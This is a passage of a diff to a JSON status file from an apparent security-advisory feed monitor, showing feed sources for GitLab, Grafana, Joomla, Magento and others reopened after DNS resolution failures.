nor servname provided, or not known)\"))", "status_code": null, "url": "https://gitlab.com/gitlab-org/advisories-community", - "summary": "gitlab-ce::GitLab Advisory Database::network::HTTPSConnectionPool(host='gitlab.com', port=443): Max retries exceeded with url: /gitlab-org/advisories-community (Caused by NameResolutionError(\"HTTPSConnection(host='gitlab.com', port=443): Failed to resolve 'gitlab.com' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.73 + "summary": "gitlab-ce::GitLab Advisory Database::network::HTTPSConnectionPool(host='gitlab.com', port=443): Max retries exceeded with url: /gitlab-org/advisories-community (Caused by NameResolutionError(\"HTTPSConnection(host='gitlab.com', port=443): Failed to resolve 'gitlab.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -815,10 +785,10 @@ "display_name": "GitLab CE", "source_name": "GitLab Security Releases Atom", "source_kind": "atom-feed", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -832,8 +802,7 @@ "message": "HTTPSConnectionPool(host='about.gitlab.com', port=443): Max retries exceeded with url: /security-releases.xml (Caused by NameResolutionError(\"HTTPSConnection(host='about.gitlab.com', port=443): Failed to resolve 'about.gitlab.com' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://about.gitlab.com/security-releases.xml", - "summary": "gitlab-ce::GitLab Security Releases Atom::network::HTTPSConnectionPool(host='about.gitlab.com', port=443): Max retries exceeded with url: /security-releases.xml (Caused by NameResolutionError(\"HTTPSConnection(host='about.gitlab.com', port=443): Failed to resolve 'about.gitlab.com' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.751 + "summary": "gitlab-ce::GitLab Security Releases Atom::network::HTTPSConnectionPool(host='about.gitlab.com', port=443): Max retries exceeded with url: /security-releases.xml (Caused by NameResolutionError(\"HTTPSConnection(host='about.gitlab.com', port=443): Failed to resolve 'about.gitlab.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -842,10 +811,10 @@ "display_name": "Grafana", "source_name": "CISA KEV Grafana", "source_kind": "kev-json", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -859,8 +828,7 @@ "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json", - "summary": "grafana::CISA KEV Grafana::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.753 + "summary": "grafana::CISA KEV Grafana::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -869,10 +837,10 @@ "display_name": "Grafana", "source_name": "Grafana Security Advisories", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -886,8 +854,7 @@ "message": "HTTPSConnectionPool(host='grafana.com', port=443): Max retries exceeded with url: /security/security-advisories/ (Caused by NameResolutionError(\"HTTPSConnection(host='grafana.com', port=443): Failed to resolve 'grafana.com' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://grafana.com/security/security-advisories/", - "summary": "grafana::Grafana Security Advisories::network::HTTPSConnectionPool(host='grafana.com', port=443): Max retries exceeded with url: /security/security-advisories/ (Caused by NameResolutionError(\"HTTPSConnection(host='grafana.com', port=443): Failed to resolve 'grafana.com' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.755 + "summary": "grafana::Grafana Security Advisories::network::HTTPSConnectionPool(host='grafana.com', port=443): Max retries exceeded with url: /security/security-advisories/ (Caused by NameResolutionError(\"HTTPSConnection(host='grafana.com', port=443): Failed to resolve 'grafana.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -896,10 +863,10 @@ "display_name": "Hapi", "source_name": "OSV Hapi", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -913,8 +880,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "hapi::OSV Hapi::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 5.226 + "summary": "hapi::OSV Hapi::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -923,10 +889,10 @@ "display_name": "HAProxy", "source_name": "HAProxy Blog Feed", "source_kind": "rss-feed", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -940,8 +906,7 @@ "message": "HTTPSConnectionPool(host='www.haproxy.com', port=443): Max retries exceeded with url: /feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.haproxy.com', port=443): Failed to resolve 'www.haproxy.com' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://www.haproxy.com/feed/", - "summary": "haproxy::HAProxy Blog Feed::network::HTTPSConnectionPool(host='www.haproxy.com', port=443): Max retries exceeded with url: /feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.haproxy.com', port=443): Failed to resolve 'www.haproxy.com' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.671 + "summary": "haproxy::HAProxy Blog Feed::network::HTTPSConnectionPool(host='www.haproxy.com', port=443): Max retries exceeded with url: /feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.haproxy.com', port=443): Failed to resolve 'www.haproxy.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -950,10 +915,10 @@ "display_name": "Jenkins", "source_name": "Jenkins Security Advisories RSS", "source_kind": "rss-feed", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -967,8 +932,7 @@ "message": "HTTPSConnectionPool(host='www.jenkins.io', port=443): Max retries exceeded with url: /security/advisories/rss.xml (Caused by NameResolutionError(\"HTTPSConnection(host='www.jenkins.io', port=443): Failed to resolve 'www.jenkins.io' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://www.jenkins.io/security/advisories/rss.xml", - "summary": "jenkins::Jenkins Security Advisories RSS::network::HTTPSConnectionPool(host='www.jenkins.io', port=443): Max retries exceeded with url: /security/advisories/rss.xml (Caused by NameResolutionError(\"HTTPSConnection(host='www.jenkins.io', port=443): Failed to resolve 'www.jenkins.io' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.755 + "summary": "jenkins::Jenkins Security Advisories RSS::network::HTTPSConnectionPool(host='www.jenkins.io', port=443): Max retries exceeded with url: /security/advisories/rss.xml (Caused by NameResolutionError(\"HTTPSConnection(host='www.jenkins.io', port=443): Failed to resolve 'www.jenkins.io' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -977,10 +941,10 @@ "display_name": "Joomla", "source_name": "Joomla Security Centre", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -994,8 +958,7 @@ "message": "HTTPSConnectionPool(host='developer.joomla.org', port=443): Max retries exceeded with url: /security-centre.html (Caused by NameResolutionError(\"HTTPSConnection(host='developer.joomla.org', port=443): Failed to resolve 'developer.joomla.org' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://developer.joomla.org/security-centre.html", - "summary": "joomla::Joomla Security Centre::network::HTTPSConnectionPool(host='developer.joomla.org', port=443): Max retries exceeded with url: /security-centre.html (Caused by NameResolutionError(\"HTTPSConnection(host='developer.joomla.org', port=443): Failed to resolve 'developer.joomla.org' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 1.718 + "summary": "joomla::Joomla Security Centre::network::HTTPSConnectionPool(host='developer.joomla.org', port=443): Max retries exceeded with url: /security-centre.html (Caused by NameResolutionError(\"HTTPSConnection(host='developer.joomla.org', port=443): Failed to resolve 'developer.joomla.org' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1004,10 +967,10 @@ "display_name": "Joomla", "source_name": "OSV Joomla", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1021,8 +984,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "joomla::OSV Joomla::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 1.716 + "summary": "joomla::OSV Joomla::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1031,10 +993,10 @@ "display_name": "Kibana", "source_name": "Elastic Security Announcements RSS", "source_kind": "rss-feed", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1048,8 +1010,7 @@ "message": "HTTPSConnectionPool(host='discuss.elastic.co', port=443): Max retries exceeded with url: /c/announcements/security-announcements/31.rss (Caused by NameResolutionError(\"HTTPSConnection(host='discuss.elastic.co', port=443): Failed to resolve 'discuss.elastic.co' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://discuss.elastic.co/c/announcements/security-announcements/31.rss", - "summary": "kibana::Elastic Security Announcements RSS::network::HTTPSConnectionPool(host='discuss.elastic.co', port=443): Max retries exceeded with url: /c/announcements/security-announcements/31.rss (Caused by NameResolutionError(\"HTTPSConnection(host='discuss.elastic.co', port=443): Failed to resolve 'discuss.elastic.co' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.728 + "summary": "kibana::Elastic Security Announcements RSS::network::HTTPSConnectionPool(host='discuss.elastic.co', port=443): Max retries exceeded with url: /c/announcements/security-announcements/31.rss (Caused by NameResolutionError(\"HTTPSConnection(host='discuss.elastic.co', port=443): Failed to resolve 'discuss.elastic.co' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1058,10 +1019,10 @@ "display_name": "Koa", "source_name": "OSV Koa", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1075,8 +1036,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "koa::OSV Koa::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 5.209 + "summary": "koa::OSV Koa::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1085,10 +1045,10 @@ "display_name": "Laravel", "source_name": "OSV Laravel", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1102,8 +1062,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "laravel::OSV Laravel::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 6.869 + "summary": "laravel::OSV Laravel::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1112,10 +1071,10 @@ "display_name": "Magento Open Source", "source_name": "Magento GitHub Advisories", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1129,8 +1088,7 @@ "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /magento/magento2/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://github.com/magento/magento2/security/advisories", - "summary": "magento-open-source::Magento GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /magento/magento2/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 3.358 + "summary": "magento-open-source::Magento GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /magento/magento2/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1139,10 +1097,10 @@ "display_name": "Magento Open Source", "source_name": "OSV Magento Open Source", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1156,8 +1114,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "magento-open-source::OSV Magento Open Source::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 3.463 + "summary": "magento-open-source::OSV Magento Open Source::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1166,10 +1123,10 @@ "display_name": "Magento Open Source", "source_name": "Sansec Research", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1183,8 +1140,7 @@ "message": "HTTPSConnectionPool(host='sansec.io', port=443): Max retries exceeded with url: /research (Caused by NameResolutionError(\"HTTPSConnection(host='sansec.io', port=443): Failed to resolve 'sansec.io' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://sansec.io/research", - "summary": "magento-open-source::Sansec Research::network::HTTPSConnectionPool(host='sansec.io', port=443): Max retries exceeded with url: /research (Caused by NameResolutionError(\"HTTPSConnection(host='sansec.io', port=443): Failed to resolve 'sansec.io' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 3.464 + "summary": "magento-open-source::Sansec Research::network::HTTPSConnectionPool(host='sansec.io', port=443): Max retries exceeded with url: /research (Caused by NameResolutionError(\"HTTPSConnection(host='sansec.io', port=443): Failed to resolve 'sansec.io' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1193,10 +1149,10 @@ "display_name": "Mattermost", "source_name": "Mattermost Security Updates JSON", "source_kind": "json-feed", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1210,8 +1166,7 @@ "message": "HTTPSConnectionPool(host='securityupdates.mattermost.com', port=443): Max retries exceeded with url: /security_updates.json (Caused by NameResolutionError(\"HTTPSConnection(host='securityupdates.mattermost.com', port=443): Failed to resolve 'securityupdates.mattermost.com' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://securityupdates.mattermost.com/security_updates.json", - "summary": "mattermost::Mattermost Security Updates JSON::network::HTTPSConnectionPool(host='securityupdates.mattermost.com', port=443): Max retries exceeded with url: /security_updates.json (Caused by NameResolutionError(\"HTTPSConnection(host='securityupdates.mattermost.com', port=443): Failed to resolve 'securityupdates.mattermost.com' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.822 + "summary": "mattermost::Mattermost Security Updates JSON::network::HTTPSConnectionPool(host='securityupdates.mattermost.com', port=443): Max retries exceeded with url: /security_updates.json (Caused by NameResolutionError(\"HTTPSConnection(host='securityupdates.mattermost.com', port=443): Failed to resolve 'securityupdates.mattermost.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1220,10 +1175,10 @@ "display_name": "Mattermost", "source_name": "OSV Mattermost", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1237,8 +1192,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "mattermost::OSV Mattermost::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 10.344 + "summary": "mattermost::OSV Mattermost::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1247,10 +1201,10 @@ "display_name": "MediaWiki", "source_name": "MediaWiki Announce RSS", "source_kind": "rss-feed", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1264,8 +1218,7 @@ "message": "HTTPSConnectionPool(host='lists.wikimedia.org', port=443): Max retries exceeded with url: /hyperkitty/list/mediawiki-announce@lists.wikimedia.org/feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='lists.wikimedia.org', port=443): Failed to resolve 'lists.wikimedia.org' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://lists.wikimedia.org/hyperkitty/list/mediawiki-announce@lists.wikimedia.org/feed/", - "summary": "mediawiki::MediaWiki Announce RSS::network::HTTPSConnectionPool(host='lists.wikimedia.org', port=443): Max retries exceeded with url: /hyperkitty/list/mediawiki-announce@lists.wikimedia.org/feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='lists.wikimedia.org', port=443): Failed to resolve 'lists.wikimedia.org' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 1.716 + "summary": "mediawiki::MediaWiki Announce RSS::network::HTTPSConnectionPool(host='lists.wikimedia.org', port=443): Max retries exceeded with url: /hyperkitty/list/mediawiki-announce@lists.wikimedia.org/feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='lists.wikimedia.org', port=443): Failed to resolve 'lists.wikimedia.org' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1274,10 +1227,10 @@ "display_name": "MediaWiki", "source_name": "OSV MediaWiki", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1291,8 +1244,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "mediawiki::OSV MediaWiki::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 1.7 + "summary": "mediawiki::OSV MediaWiki::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1301,10 +1253,10 @@ "display_name": "Medusa", "source_name": "OSV Medusa", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1318,8 +1270,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "medusa::OSV Medusa::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 5.225 + "summary": "medusa::OSV Medusa::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1328,10 +1279,10 @@ "display_name": "Moodle", "source_name": "OSV Moodle", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1345,8 +1296,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "moodle::OSV Moodle::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 1.666 + "summary": "moodle::OSV 